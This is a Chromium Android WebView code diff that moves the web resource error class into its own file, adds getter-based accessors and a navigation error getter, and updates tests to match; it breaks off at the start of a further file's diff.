diff --git a/android_webview/glue/java/src/com/android/webview/chromium/WebkitToSharedGlueConverter.java b/android_webview/glue/java/src/com/android/webview/chromium/WebkitToSharedGlueConverter.java
index e8358e8f..49b54ac 100644
--- a/android_webview/glue/java/src/com/android/webview/chromium/WebkitToSharedGlueConverter.java
+++ b/android_webview/glue/java/src/com/android/webview/chromium/WebkitToSharedGlueConverter.java
@@ -14,11 +14,11 @@
 import android.webkit.WebStorage;
 import android.webkit.WebView;
 
-import org.chromium.android_webview.AwContentsClient.AwWebResourceError;
 import org.chromium.android_webview.AwCookieManager;
 import org.chromium.android_webview.AwQuotaManagerBridge;
 import org.chromium.android_webview.AwServiceWorkerSettings;
 import org.chromium.android_webview.AwSettings;
+import org.chromium.android_webview.AwWebResourceError;
 import org.chromium.android_webview.AwWebResourceRequest;
 import org.chromium.android_webview.common.Lifetime;
 import org.chromium.android_webview.safe_browsing.AwSafeBrowsingResponse;
diff --git a/android_webview/java/src/org/chromium/android_webview/AwContentsClient.java b/android_webview/java/src/org/chromium/android_webview/AwContentsClient.java
index 87c0f6a..5dd2766f 100644
--- a/android_webview/java/src/org/chromium/android_webview/AwContentsClient.java
+++ b/android_webview/java/src/org/chromium/android_webview/AwContentsClient.java
@@ -129,12 +129,6 @@
     //             WebView specific methods that map directly to WebViewClient / WebChromeClient
     // --------------------------------------------------------------------------------------------
 
-    /** Parameters for {@link AwContentsClient#onReceivedError} method. */
-    public static class AwWebResourceError {
-        public @WebviewErrorCode int errorCode = WebviewErrorCode.ERROR_UNKNOWN;
-        public String description;
-    }
-
     /** Allow default implementations in chromium code. */
     public abstract boolean hasWebViewClient();
 
diff --git a/android_webview/java/src/org/chromium/android_webview/AwContentsClientBridge.java b/android_webview/java/src/org/chromium/android_webview/AwContentsClientBridge.java
index fcc3d7f..de04fe7 100644
--- a/android_webview/java/src/org/chromium/android_webview/AwContentsClientBridge.java
+++ b/android_webview/java/src/org/chromium/android_webview/AwContentsClientBridge.java
@@ -352,9 +352,7 @@
             @JniType("std::string") String description,
             boolean safebrowsingHit,
             boolean shouldOmitNotificationsForSafeBrowsingHit) {
-        AwContentsClient.AwWebResourceError error = new AwContentsClient.AwWebResourceError();
-        error.errorCode = ErrorCodeConversionHelper.convertErrorCode(errorCode);
-        error.description = description;
+        AwWebResourceError error = AwWebResourceError.createFromNetError(errorCode, description);
 
         String unreachableWebDataUrl = AwContentsStatics.getUnreachableWebDataUrl();
         boolean isErrorUrl =
@@ -375,7 +373,7 @@
                     // dismissed.
                     return;
                 } else {
-                    error.errorCode = WebviewErrorCode.ERROR_UNSAFE_RESOURCE;
+                    error.setWebviewError(WebviewErrorCode.ERROR_UNSAFE_RESOURCE);
                 }
             }
             if (request.isOutermostMainFrame()
diff --git a/android_webview/java/src/org/chromium/android_webview/AwContentsClientCallbackHelper.java b/android_webview/java/src/org/chromium/android_webview/AwContentsClientCallbackHelper.java
index 96f8702..6ec0565 100644
--- a/android_webview/java/src/org/chromium/android_webview/AwContentsClientCallbackHelper.java
+++ b/android_webview/java/src/org/chromium/android_webview/AwContentsClientCallbackHelper.java
@@ -68,10 +68,9 @@
 
     private static class OnReceivedErrorInfo {
         final AwWebResourceRequest mRequest;
-        final AwContentsClient.AwWebResourceError mError;
+        final AwWebResourceError mError;
 
-        OnReceivedErrorInfo(
-                AwWebResourceRequest request, AwContentsClient.AwWebResourceError error) {
+        OnReceivedErrorInfo(AwWebResourceRequest request, AwWebResourceError error) {
             mRequest = request;
             mError = error;
         }
@@ -317,8 +316,7 @@
         mHandler.sendMessage(mHandler.obtainMessage(MSG_ON_RECEIVED_LOGIN_REQUEST, info));
     }
 
-    public void postOnReceivedError(
-            AwWebResourceRequest request, AwContentsClient.AwWebResourceError error) {
+    public void postOnReceivedError(AwWebResourceRequest request, AwWebResourceError error) {
         OnReceivedErrorInfo info = new OnReceivedErrorInfo(request, error);
         mHandler.sendMessage(mHandler.obtainMessage(MSG_ON_RECEIVED_ERROR, info));
     }
diff --git a/android_webview/java/src/org/chromium/android_webview/AwNavigation.java b/android_webview/java/src/org/chromium/android_webview/AwNavigation.java
index e9a7d04..1ec3150a 100644
--- a/android_webview/java/src/org/chromium/android_webview/AwNavigation.java
+++ b/android_webview/java/src/org/chromium/android_webview/AwNavigation.java
@@ -7,6 +7,7 @@
 import org.chromium.build.annotations.NullMarked;
 import org.chromium.build.annotations.Nullable;
 import org.chromium.content_public.browser.NavigationHandle;
+import org.chromium.net.NetError;
 
 /** Represents a navigation and is exposed to embedders. See also AwNavigationListener */
 @NullMarked
@@ -78,4 +79,10 @@
     public int getStatusCode() {
         return mNavigationHandle.httpStatusCode();
     }
+
+    public @Nullable AwWebResourceError getWebResourceError() {
+        if (mNavigationHandle.errorCode() == NetError.OK) return null;
+        return AwWebResourceError.createFromNetError(
+                    mNavigationHandle.errorCode(), mNavigationHandle.errorDescription());
+    }
 }
diff --git a/android_webview/java/src/org/chromium/android_webview/ErrorCodeConversionHelper.java b/android_webview/java/src/org/chromium/android_webview/AwWebResourceError.java
similarity index 71%
rename from android_webview/java/src/org/chromium/android_webview/ErrorCodeConversionHelper.java
rename to android_webview/java/src/org/chromium/android_webview/AwWebResourceError.java
index 48bbe3d2..ad3e747e 100644
--- a/android_webview/java/src/org/chromium/android_webview/ErrorCodeConversionHelper.java
+++ b/android_webview/java/src/org/chromium/android_webview/AwWebResourceError.java
@@ -1,18 +1,66 @@
-// Copyright 2012 The Chromium Authors
+// Copyright 2026 The Chromium Authors
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
 package org.chromium.android_webview;
 
+import org.jni_zero.JNINamespace;
+
+import org.chromium.android_webview.common.Lifetime;
 import org.chromium.build.annotations.NullMarked;
+import org.chromium.build.annotations.Nullable;
 import org.chromium.net.NetError;
 
 /**
- * This is a helper class to map native error code about loading a page to Android specific ones.
+ * Parameters for {@link AwContentsClient#onReceivedError} method and for reporting error
+ * information in {@link AwNavigation}
  */
+@Lifetime.Temporary
+@JNINamespace("android_webview")
 @NullMarked
-public final class ErrorCodeConversionHelper {
-    static @WebviewErrorCode int convertErrorCode(@NetError int netError) {
+public class AwWebResourceError {
+    private @NetError int mNetError = NetError.ERR_FAILED;
+    private @WebviewErrorCode int mWebviewError = WebviewErrorCode.ERROR_UNKNOWN;
+    private @Nullable String mDescription;
+
+    private AwWebResourceError() {}
+
+    private AwWebResourceError(@NetError int netError, @Nullable String description) {
+        mNetError = netError;
+        mWebviewError = convertErrorCode(netError);
+        mDescription = description;
+    }
+
+    public static AwWebResourceError createEmpty() {
+        return new AwWebResourceError();
+    }
+
+    public static AwWebResourceError createFromNetError(
+            @NetError int netError, @Nullable String description) {
+        return new AwWebResourceError(netError, description);
+    }
+
+    public int getNetError() {
+        return mNetError;
+    }
+
+    public int getWebviewError() {
+        return mWebviewError;
+    }
+
+    public void setWebviewError(@WebviewErrorCode int webviewError) {
+        mWebviewError = webviewError;
+    }
+
+    public @Nullable String getDescription() {
+        return mDescription;
+    }
+
+    public void setDescription(String description) {
+        mDescription = description;
+    }
+
+    private @WebviewErrorCode int convertErrorCode(@NetError int netError) {
         // Note: many NetError.Error constants don't have an obvious mapping.
         // These will be handled by the default case, ERROR_UNKNOWN.
         switch (netError) {
@@ -89,8 +137,8 @@
             case NetError.ERR_UNEXPECTED_PROXY_AUTH:
                 return WebviewErrorCode.ERROR_PROXY_AUTHENTICATION;
 
-                // The certificate errors are handled by onReceivedSslError
-                // and don't need to be reported here.
+            // The certificate errors are handled by onReceivedSslError
+            // and don't need to be reported here.
             case NetError.ERR_CERT_KNOWN_INTERCEPTION_BLOCKED:
             case NetError.ERR_CERT_COMMON_NAME_INVALID:
             case NetError.ERR_CERT_DATE_INVALID:
@@ -108,7 +156,4 @@
                 return WebviewErrorCode.ERROR_UNKNOWN;
         }
     }
-
-    // Do not instantiate this class.
-    private ErrorCodeConversionHelper() {}
 }
diff --git a/android_webview/java/src/org/chromium/android_webview/WebResponseCallback.java b/android_webview/java/src/org/chromium/android_webview/WebResponseCallback.java
index eab5cc1..1bcd569e 100644
--- a/android_webview/java/src/org/chromium/android_webview/WebResponseCallback.java
+++ b/android_webview/java/src/org/chromium/android_webview/WebResponseCallback.java
@@ -62,7 +62,7 @@
             callbackHelper.postOnReceivedError(
                     mRequest,
                     /* error description filled in by the glue layer */
-                    new AwContentsClient.AwWebResourceError());
+                    AwWebResourceError.createEmpty());
         }
     }
 
diff --git a/android_webview/javatests/src/org/chromium/android_webview/test/AwContentsClientCallbackHelperTest.java b/android_webview/javatests/src/org/chromium/android_webview/test/AwContentsClientCallbackHelperTest.java
index 56a5b0b..b24f48e7 100644
--- a/android_webview/javatests/src/org/chromium/android_webview/test/AwContentsClientCallbackHelperTest.java
+++ b/android_webview/javatests/src/org/chromium/android_webview/test/AwContentsClientCallbackHelperTest.java
@@ -21,8 +21,8 @@
 import org.junit.runners.Parameterized;
 import org.junit.runners.Parameterized.UseParametersRunnerFactory;
 
-import org.chromium.android_webview.AwContentsClient;
 import org.chromium.android_webview.AwContentsClientCallbackHelper;
+import org.chromium.android_webview.AwWebResourceError;
 import org.chromium.android_webview.AwWebResourceRequest;
 import org.chromium.android_webview.test.TestAwContentsClient.OnDownloadStartHelper;
 import org.chromium.android_webview.test.TestAwContentsClient.OnLoadResourceHelper;
@@ -77,7 +77,8 @@
 
     static final float NEW_SCALE = 1.0f;
     static final float OLD_SCALE = 2.0f;
-    static final int ERROR_CODE = 2;
+    static final int NET_ERROR_CODE = -2;
+    static final int WEBVIEW_ERROR_CODE = -1;
     static final String ERROR_MESSAGE = "A horrible thing has occurred!";
 
     private TestAwContentsClient mContentsClient;
@@ -209,13 +210,13 @@
                         /* isRedirect= */ false,
                         "GET",
                         Collections.emptyMap());
-        AwContentsClient.AwWebResourceError error = new AwContentsClient.AwWebResourceError();
-        error.errorCode = ERROR_CODE;
-        error.description = ERROR_MESSAGE;
+        AwWebResourceError error =
+                AwWebResourceError.createFromNetError(NET_ERROR_CODE, ERROR_MESSAGE);
         mClientHelper.postOnReceivedError(request, error);
         receivedErrorHelper.waitForCallback(onReceivedErrorCount);
-        Assert.assertEquals(ERROR_CODE, receivedErrorHelper.getError().errorCode);
-        Assert.assertEquals(ERROR_MESSAGE, receivedErrorHelper.getError().description);
+        Assert.assertEquals(NET_ERROR_CODE, receivedErrorHelper.getError().getNetError());
+        Assert.assertEquals(WEBVIEW_ERROR_CODE, receivedErrorHelper.getError().getWebviewError());
+        Assert.assertEquals(ERROR_MESSAGE, receivedErrorHelper.getError().getDescription());
         Assert.assertEquals(TEST_URL, receivedErrorHelper.getRequest().getUrl());
     }
 
diff --git a/android_webview/javatests/src/org/chromium/android_webview/test/AwContentsClientShouldOverrideUrlLoadingTest.java b/android_webview/javatests/src/org/chromium/android_webview/test/AwContentsClientShouldOverrideUrlLoadingTest.java
index 9ca36b3e..fea47a6 100644
--- a/android_webview/javatests/src/org/chromium/android_webview/test/AwContentsClientShouldOverrideUrlLoadingTest.java
+++ b/android_webview/javatests/src/org/chromium/android_webview/test/AwContentsClientShouldOverrideUrlLoadingTest.java
@@ -25,6 +25,7 @@
 import org.junit.runners.Parameterized.UseParametersRunnerFactory;
 
 import org.chromium.android_webview.AwContents;
+import org.chromium.android_webview.AwWebResourceError;
 import org.chromium.android_webview.AwWebResourceRequest;
 import org.chromium.android_webview.policy.AwPolicyProvider;
 import org.chromium.android_webview.test.TestAwContentsClient.OnReceivedErrorHelper;
diff --git a/android_webview/javatests/src/org/chromium/android_webview/test/AwContentsStaticsTest.java b/android_webview/javatests/src/org/chromium/android_webview/test/AwContentsStaticsTest.java
index 1c30d4e7..af26780 100644
--- a/android_webview/javatests/src/org/chromium/android_webview/test/AwContentsStaticsTest.java
+++ b/android_webview/javatests/src/org/chromium/android_webview/test/AwContentsStaticsTest.java
@@ -103,7 +103,7 @@
         Assert.assertEquals(
                 "Incorrect network error code.",
                 WebviewErrorCode.ERROR_UNKNOWN,
-                errorHelper.getError().errorCode);
+                errorHelper.getError().getWebviewError());
         Assert.assertEquals(
                 "onReceivedError was called for the wrong URL.",
                 url,
diff --git a/android_webview/javatests/src/org/chromium/android_webview/test/ClientOnPageFinishedTest.java b/android_webview/javatests/src/org/chromium/android_webview/test/ClientOnPageFinishedTest.java
index a1050c8..71d0771 100644
--- a/android_webview/javatests/src/org/chromium/android_webview/test/ClientOnPageFinishedTest.java
+++ b/android_webview/javatests/src/org/chromium/android_webview/test/ClientOnPageFinishedTest.java
@@ -20,6 +20,7 @@
 import org.junit.runners.Parameterized.UseParametersRunnerFactory;
 
 import org.chromium.android_webview.AwContents;
+import org.chromium.android_webview.AwWebResourceError;
 import org.chromium.android_webview.AwWebResourceRequest;
 import org.chromium.android_webview.test.TestAwContentsClient.OnReceivedErrorHelper;
 import org.chromium.android_webview.test.util.CommonResources;
diff --git a/android_webview/javatests/src/org/chromium/android_webview/test/ClientOnPageStartedTest.java b/android_webview/javatests/src/org/chromium/android_webview/test/ClientOnPageStartedTest.java
index 2c5896b..1ad399f3 100644
--- a/android_webview/javatests/src/org/chromium/android_webview/test/ClientOnPageStartedTest.java
+++ b/android_webview/javatests/src/org/chromium/android_webview/test/ClientOnPageStartedTest.java
@@ -19,6 +19,7 @@
 import org.junit.runners.Parameterized.UseParametersRunnerFactory;
 
 import org.chromium.android_webview.AwContents;
+import org.chromium.android_webview.AwWebResourceError;
 import org.chromium.android_webview.AwWebResourceRequest;
 import org.chromium.android_webview.test.TestAwContentsClient.OnReceivedErrorHelper;
 import org.chromium.base.task.PostTask;
diff --git a/android_webview/javatests/src/org/chromium/android_webview/test/ClientOnReceivedError2Test.java b/android_webview/javatests/src/org/chromium/android_webview/test/ClientOnReceivedError2Test.java
index 79d6c82..19c59ac 100644
--- a/android_webview/javatests/src/org/chromium/android_webview/test/ClientOnReceivedError2Test.java
+++ b/android_webview/javatests/src/org/chromium/android_webview/test/ClientOnReceivedError2Test.java
@@ -23,7 +23,7 @@
 import org.junit.runners.Parameterized.UseParametersRunnerFactory;
 
 import org.chromium.android_webview.AwContents;
-import org.chromium.android_webview.AwContentsClient.AwWebResourceError;
+import org.chromium.android_webview.AwWebResourceError;
 import org.chromium.android_webview.AwWebResourceRequest;
 import org.chromium.android_webview.WebviewErrorCode;
 import org.chromium.android_webview.test.util.AwTestTouchUtils;
@@ -137,8 +137,8 @@
         AwWebResourceError error = onReceivedErrorHelper.getError();
         // The particular error code that is returned depends on the configuration of the device
         // (such as existence of a proxy) so we don't test for it.
-        assertNotEquals(WebviewErrorCode.ERROR_UNKNOWN, error.errorCode);
-        Assert.assertNotNull(error.description);
+        assertNotEquals(WebviewErrorCode.ERROR_UNKNOWN, error.getWebviewError());
+        Assert.assertNotNull(error.getDescription());
     }
 
     @Test
@@ -172,8 +172,8 @@
         AwWebResourceError error = onReceivedErrorHelper.getError();
         // The particular error code that is returned depends on the configuration of the device
         // (such as existence of a proxy) so we don't test for it.
-        assertNotEquals(WebviewErrorCode.ERROR_UNKNOWN, error.errorCode);
-        Assert.assertNotNull(error.description);
+        assertNotEquals(WebviewErrorCode.ERROR_UNKNOWN, error.getWebviewError());
+        Assert.assertNotNull(error.getDescription());
     }
 
     @Test
@@ -203,8 +203,8 @@
         AwWebResourceError error = onReceivedErrorHelper.getError();
         // The particular error code that is returned depends on the configuration of the device
         // (such as existence of a proxy) so we don't test for it.
-        assertNotEquals(WebviewErrorCode.ERROR_UNKNOWN, error.errorCode);
-        Assert.assertNotNull(error.description);
+        assertNotEquals(WebviewErrorCode.ERROR_UNKNOWN, error.getWebviewError());
+        Assert.assertNotNull(error.getDescription());
     }
 
     @Test
@@ -243,8 +243,8 @@
         AwWebResourceError error = onReceivedErrorHelper.getError();
         // The particular error code that is returned depends on the configuration of the device
         // (such as existence of a proxy) so we don't test for it.
-        assertNotEquals(WebviewErrorCode.ERROR_UNKNOWN, error.errorCode);
-        Assert.assertNotNull(error.description);
+        assertNotEquals(WebviewErrorCode.ERROR_UNKNOWN, error.getWebviewError());
+        Assert.assertNotNull(error.getDescription());
     }
 
     @Test
@@ -275,8 +275,8 @@
         AwWebResourceError error = onReceivedErrorHelper.getError();
         // The particular error code that is returned depends on the configuration of the device
         // (such as existence of a proxy) so we don't test for it.
-        assertNotEquals(WebviewErrorCode.ERROR_UNKNOWN, error.errorCode);
-        Assert.assertNotNull(error.description);
+        assertNotEquals(WebviewErrorCode.ERROR_UNKNOWN, error.getWebviewError());
+        Assert.assertNotNull(error.getDescription());
     }
 
     @Test
@@ -304,8 +304,8 @@
         Assert.assertFalse(request.isOutermostMainFrame());
         Assert.assertFalse(request.hasUserGesture());
         AwWebResourceError error = onReceivedErrorHelper.getError();
-        Assert.assertEquals(WebviewErrorCode.ERROR_UNSUPPORTED_SCHEME, error.errorCode);
-        Assert.assertNotNull(error.description);
+        Assert.assertEquals(WebviewErrorCode.ERROR_UNSUPPORTED_SCHEME, error.getWebviewError());
+        Assert.assertNotNull(error.getDescription());
     }
 
     @Test
@@ -336,8 +336,8 @@
         Assert.assertFalse(request.isOutermostMainFrame());
         Assert.assertFalse(request.hasUserGesture());
         AwWebResourceError error = onReceivedErrorHelper.getError();
-        Assert.assertEquals(WebviewErrorCode.ERROR_UNKNOWN, error.errorCode);
-        Assert.assertNotNull(error.description);
+        Assert.assertEquals(WebviewErrorCode.ERROR_UNKNOWN, error.getWebviewError());
+        Assert.assertNotNull(error.getDescription());
     }
 
     @Test
@@ -368,8 +368,8 @@
         Assert.assertFalse(request.isOutermostMainFrame());
         Assert.assertFalse(request.hasUserGesture());
         AwWebResourceError error = onReceivedErrorHelper.getError();
-        Assert.assertEquals(WebviewErrorCode.ERROR_UNKNOWN, error.errorCode);
-        Assert.assertNotNull(error.description);
+        Assert.assertEquals(WebviewErrorCode.ERROR_UNKNOWN, error.getWebviewError());
+        Assert.assertNotNull(error.getDescription());
     }
 
     @Test
@@ -400,8 +400,8 @@
         Assert.assertFalse(request.isOutermostMainFrame());
         Assert.assertFalse(request.hasUserGesture());
         AwWebResourceError error = onReceivedErrorHelper.getError();
-        Assert.assertEquals(WebviewErrorCode.ERROR_UNKNOWN, error.errorCode);
-        Assert.assertNotNull(error.description);
+        Assert.assertEquals(WebviewErrorCode.ERROR_UNKNOWN, error.getWebviewError());
+        Assert.assertNotNull(error.getDescription());
     }
 
     @Test
@@ -472,6 +472,6 @@
                 TimeUnit.MILLISECONDS);
         Assert.assertEquals(onReceivedErrorCount + 1, onReceivedErrorHelper.getCallCount());
         AwWebResourceError error = onReceivedErrorHelper.getError();
-        Assert.assertEquals("net::ERR_UNSAFE_REDIRECT", error.description);
+        Assert.assertEquals("net::ERR_UNSAFE_REDIRECT", error.getDescription());
     }
 }
diff --git a/android_webview/javatests/src/org/chromium/android_webview/test/ClientOnReceivedErrorTest.java b/android_webview/javatests/src/org/chromium/android_webview/test/ClientOnReceivedErrorTest.java
index cf70e106..8e99d74fb 100644
--- a/android_webview/javatests/src/org/chromium/android_webview/test/ClientOnReceivedErrorTest.java
+++ b/android_webview/javatests/src/org/chromium/android_webview/test/ClientOnReceivedErrorTest.java
@@ -74,7 +74,7 @@
                 WAIT_TIMEOUT_MS,
                 TimeUnit.MILLISECONDS);
         Assert.assertEquals(BAD_HTML_URL, onReceivedErrorHelper.getRequest().getUrl());
-        Assert.assertNotNull(onReceivedErrorHelper.getError().description);
+        Assert.assertNotNull(onReceivedErrorHelper.getError().getDescription());
     }
 
     @Test
@@ -90,9 +90,9 @@
         onReceivedErrorHelper.waitForCallback(onReceivedErrorCount);
         Assert.assertEquals(
                 WebviewErrorCode.ERROR_UNSUPPORTED_SCHEME,
-                onReceivedErrorHelper.getError().errorCode);
+                onReceivedErrorHelper.getError().getWebviewError());
         Assert.assertEquals(url, onReceivedErrorHelper.getRequest().getUrl());
-        Assert.assertNotNull(onReceivedErrorHelper.getError().description);
+        Assert.assertNotNull(onReceivedErrorHelper.getError().getDescription());
     }
 
     @Test
@@ -125,9 +125,9 @@
 
         onReceivedErrorHelper.waitForCallback(onReceivedErrorCount);
         Assert.assertEquals(
-                WebviewErrorCode.ERROR_UNKNOWN, onReceivedErrorHelper.getError().errorCode);
+                WebviewErrorCode.ERROR_UNKNOWN, onReceivedErrorHelper.getError().getWebviewError());
         Assert.assertEquals(url, onReceivedErrorHelper.getRequest().getUrl());
-        Assert.assertNotNull(onReceivedErrorHelper.getError().description);
+        Assert.assertNotNull(onReceivedErrorHelper.getError().getDescription());
     }
 
     @Test
@@ -141,9 +141,9 @@
 
         onReceivedErrorHelper.waitForCallback(onReceivedErrorCount);
         Assert.assertEquals(
-                WebviewErrorCode.ERROR_UNKNOWN, onReceivedErrorHelper.getError().errorCode);
+                WebviewErrorCode.ERROR_UNKNOWN, onReceivedErrorHelper.getError().getWebviewError());
         Assert.assertEquals(url, onReceivedErrorHelper.getRequest().getUrl());
-        Assert.assertNotNull(onReceivedErrorHelper.getError().description);
+        Assert.assertNotNull(onReceivedErrorHelper.getError().getDescription());
     }
 
     @Test
@@ -160,8 +160,8 @@
 
         onReceivedErrorHelper.waitForCallback(onReceivedErrorCount);
         Assert.assertEquals(
-                WebviewErrorCode.ERROR_UNKNOWN, onReceivedErrorHelper.getError().errorCode);
+                WebviewErrorCode.ERROR_UNKNOWN, onReceivedErrorHelper.getError().getWebviewError());
         Assert.assertEquals(url, onReceivedErrorHelper.getRequest().getUrl());
-        Assert.assertFalse(onReceivedErrorHelper.getError().description.isEmpty());
+        Assert.assertNotNull(onReceivedErrorHelper.getError().getDescription());
     }
 }
diff --git a/android_webview/javatests/src/org/chromium/android_webview/test/LoadUrlTest.java b/android_webview/javatests/src/org/chromium/android_webview/test/LoadUrlTest.java
index 3612521..22b4b3b 100644
--- a/android_webview/javatests/src/org/chromium/android_webview/test/LoadUrlTest.java
+++ b/android_webview/javatests/src/org/chromium/android_webview/test/LoadUrlTest.java
@@ -22,7 +22,7 @@
 import org.junit.runners.Parameterized.UseParametersRunnerFactory;
 
 import org.chromium.android_webview.AwContents;
-import org.chromium.android_webview.AwContentsClient.AwWebResourceError;
+import org.chromium.android_webview.AwWebResourceError;
 import org.chromium.android_webview.WebviewErrorCode;
 import org.chromium.android_webview.test.util.CommonResources;
 import org.chromium.android_webview.test.util.JSUtils;
@@ -104,8 +104,8 @@
                 ASSET_FILE_URL);
 
         AwWebResourceError error = onReceivedErrorHelper.getError();
-        Assert.assertEquals(WebviewErrorCode.ERROR_UNKNOWN, error.errorCode);
-        Assert.assertEquals("net::ERR_ACCESS_DENIED", error.description);
+        Assert.assertEquals(WebviewErrorCode.ERROR_UNKNOWN, error.getWebviewError());
+        Assert.assertEquals("net::ERR_ACCESS_DENIED", error.getDescription());
     }
 
     @Test
diff --git a/android_webview/javatests/src/org/chromium/android_webview/test/PolicyUrlFilteringTest.java b/android_webview/javatests/src/org/chromium/android_webview/test/PolicyUrlFilteringTest.java
index d75769d..f8357665 100644
--- a/android_webview/javatests/src/org/chromium/android_webview/test/PolicyUrlFilteringTest.java
+++ b/android_webview/javatests/src/org/chromium/android_webview/test/PolicyUrlFilteringTest.java
@@ -109,7 +109,7 @@
                 mFooTestUrl, /* startingErrorCount= */ 0, /* expectedErrorCount= */ 1);
         Assert.assertEquals(
                 WebviewErrorCode.ERROR_CONNECT,
-                mContentsClient.getOnReceivedErrorHelper().getError().errorCode);
+                mContentsClient.getOnReceivedErrorHelper().getError().getWebviewError());
     }
 
     // Tests getting a successful navigation with an allowlist.
@@ -134,7 +134,7 @@
                 mBarTestUrl, /* startingErrorCount= */ 0, /* expectedErrorCount= */ 1);
         Assert.assertEquals(
                 WebviewErrorCode.ERROR_CONNECT,
-                mContentsClient.getOnReceivedErrorHelper().getError().errorCode);
+                mContentsClient.getOnReceivedErrorHelper().getError().getWebviewError());
     }
 
     // Tests that bad policy values are properly handled
diff --git a/android_webview/javatests/src/org/chromium/android_webview/test/SafeBrowsingTest.java b/android_webview/javatests/src/org/chromium/android_webview/test/SafeBrowsingTest.java
index 06f2bcc..48bbf150 100644
--- a/android_webview/javatests/src/org/chromium/android_webview/test/SafeBrowsingTest.java
+++ b/android_webview/javatests/src/org/chromium/android_webview/test/SafeBrowsingTest.java
@@ -595,7 +595,7 @@
                 mAwContents, mContentsClient.getOnPageFinishedHelper(), WEB_UI_MALWARE_URL);
         errorHelper.waitForCallback(errorCount);
         Assert.assertEquals(
-                WebviewErrorCode.ERROR_UNSAFE_RESOURCE, errorHelper.getError().errorCode);
+                WebviewErrorCode.ERROR_UNSAFE_RESOURCE, errorHelper.getError().getWebviewError());
         Assert.assertEquals(
                 "Network error is for the malicious page",
                 WEB_UI_MALWARE_URL,
@@ -688,7 +688,7 @@
         clickBackToSafety();
         errorHelper.waitForCallback(errorCount);
         Assert.assertEquals(
-                WebviewErrorCode.ERROR_UNSAFE_RESOURCE, errorHelper.getError().errorCode);
+                WebviewErrorCode.ERROR_UNSAFE_RESOURCE, errorHelper.getError().getWebviewError());
         final String responseUrl = mTestServer.getURL(MALWARE_HTML_PATH);
         Assert.assertEquals(
                 "Network error is for the malicious page",
@@ -769,7 +769,7 @@
         mActivityTestRule.loadUrlAsync(mAwContents, responseUrl);
         errorHelper.waitForCallback(errorCount);
         Assert.assertEquals(
-                WebviewErrorCode.ERROR_UNSAFE_RESOURCE, errorHelper.getError().errorCode);
+                WebviewErrorCode.ERROR_UNSAFE_RESOURCE, errorHelper.getError().getWebviewError());
         Assert.assertEquals(
                 "Network error is for the malicious page",
                 responseUrl,
@@ -887,7 +887,7 @@
         mActivityTestRule.loadUrlAsync(mAwContents, responseUrl);
         errorHelper.waitForCallback(errorCount);
         Assert.assertEquals(
-                WebviewErrorCode.ERROR_UNSAFE_RESOURCE, errorHelper.getError().errorCode);
+                WebviewErrorCode.ERROR_UNSAFE_RESOURCE, errorHelper.getError().getWebviewError());
         Assert.assertEquals(
                 "Network error is for the malicious page",
                 responseUrl,
diff --git a/android_webview/javatests/src/org/chromium/android_webview/test/TestAwContentsClient.java b/android_webview/javatests/src/org/chromium/android_webview/test/TestAwContentsClient.java
index 7c487b0..a5c0ea6 100644
--- a/android_webview/javatests/src/org/chromium/android_webview/test/TestAwContentsClient.java
+++ b/android_webview/javatests/src/org/chromium/android_webview/test/TestAwContentsClient.java
@@ -15,6 +15,7 @@
 
 import org.chromium.android_webview.AwConsoleMessage;
 import org.chromium.android_webview.AwRenderProcessGoneDetail;
+import org.chromium.android_webview.AwWebResourceError;
 import org.chromium.android_webview.AwWebResourceRequest;
 import org.chromium.base.Callback;
 import org.chromium.base.Log;
diff --git a/android_webview/javatests/src/org/chromium/android_webview/test/WebExposedTest.java b/android_webview/javatests/src/org/chromium/android_webview/test/WebExposedTest.java
index 01e1f45..560eecb 100644
--- a/android_webview/javatests/src/org/chromium/android_webview/test/WebExposedTest.java
+++ b/android_webview/javatests/src/org/chromium/android_webview/test/WebExposedTest.java
@@ -26,6 +26,7 @@
 import org.chromium.android_webview.AwConsoleMessage;
 import org.chromium.android_webview.AwContents;
 import org.chromium.android_webview.AwSettings;
+import org.chromium.android_webview.AwWebResourceError;
 import org.chromium.android_webview.AwWebResourceRequest;
 import org.chromium.android_webview.test.AwActivityTestRule.TestDependencyFactory;
 import org.chromium.base.Log;
@@ -106,7 +107,7 @@
                         mResultFuture.setException(
                                 new AssertionError(
                                         "onReceivedError: "
-                                                + error.description
+                                                + error.getDescription()
                                                 + ", "
                                                 + request.getUrl()
                                                 + "\n"));
diff --git a/android_webview/support_library/boundary_interfaces/src/org/chromium/support_lib_boundary/WebResourceErrorBoundaryInterface.java b/android_webview/support_library/boundary_interfaces/src/org/chromium/support_lib_boundary/WebResourceErrorBoundaryInterface.java
index 56d19405..c8f20bd 100644
--- a/android_webview/support_library/boundary_interfaces/src/org/chromium/support_lib_boundary/WebResourceErrorBoundaryInterface.java
+++ b/android_webview/support_library/boundary_interfaces/src/org/chromium/support_lib_boundary/WebResourceErrorBoundaryInterface.java
@@ -11,5 +11,7 @@
 public interface WebResourceErrorBoundaryInterface {
     int getErrorCode();
 
+    int getDebugCode();
+
     CharSequence getDescription();
 }
diff --git a/android_webview/support_library/boundary_interfaces/src/org/chromium/support_lib_boundary/WebViewNavigationBoundaryInterface.java b/android_webview/support_library/boundary_interfaces/src/org/chromium/support_lib_boundary/WebViewNavigationBoundaryInterface.java
index 80e7283..2ffbd18 100644
--- a/android_webview/support_library/boundary_interfaces/src/org/chromium/support_lib_boundary/WebViewNavigationBoundaryInterface.java
+++ b/android_webview/support_library/boundary_interfaces/src/org/chromium/support_lib_boundary/WebViewNavigationBoundaryInterface.java
@@ -35,4 +35,6 @@
     int getStatusCode();
 
     /* WebViewPage */ @Nullable InvocationHandler getPage();
+
+    /* WebResourceError */ @Nullable InvocationHandler getWebResourceError();
 }
diff --git a/android_webview/support_library/boundary_interfaces/src/org/chromium/support_lib_boundary/util/Features.java b/android_webview/support_library/boundary_interfaces/src/org/chromium/support_lib_boundary/util/Features.java
index af6d507..0254fe1 100644
--- a/android_webview/support_library/boundary_interfaces/src/org/chromium/support_lib_boundary/util/Features.java
+++ b/android_webview/support_library/boundary_interfaces/src/org/chromium/support_lib_boundary/util/Features.java
@@ -447,4 +447,8 @@
 
     // Page.getUrl
     public static final String PAGE_GET_URL = "PAGE_GET_URL";
+
+    // Navigation.getWebResourceError
+    public static final String NAVIGATION_GET_WEB_RESOURCE_ERROR =
+            "NAVIGATION_GET_WEB_RESOURCE_ERROR";
 }
diff --git a/android_webview/support_library/callback/java/src/org/chromium/support_lib_callback_glue/SupportLibWebResourceError.java b/android_webview/support_library/callback/java/src/org/chromium/support_lib_callback_glue/SupportLibWebResourceError.java
index 9e36107..814f538 100644
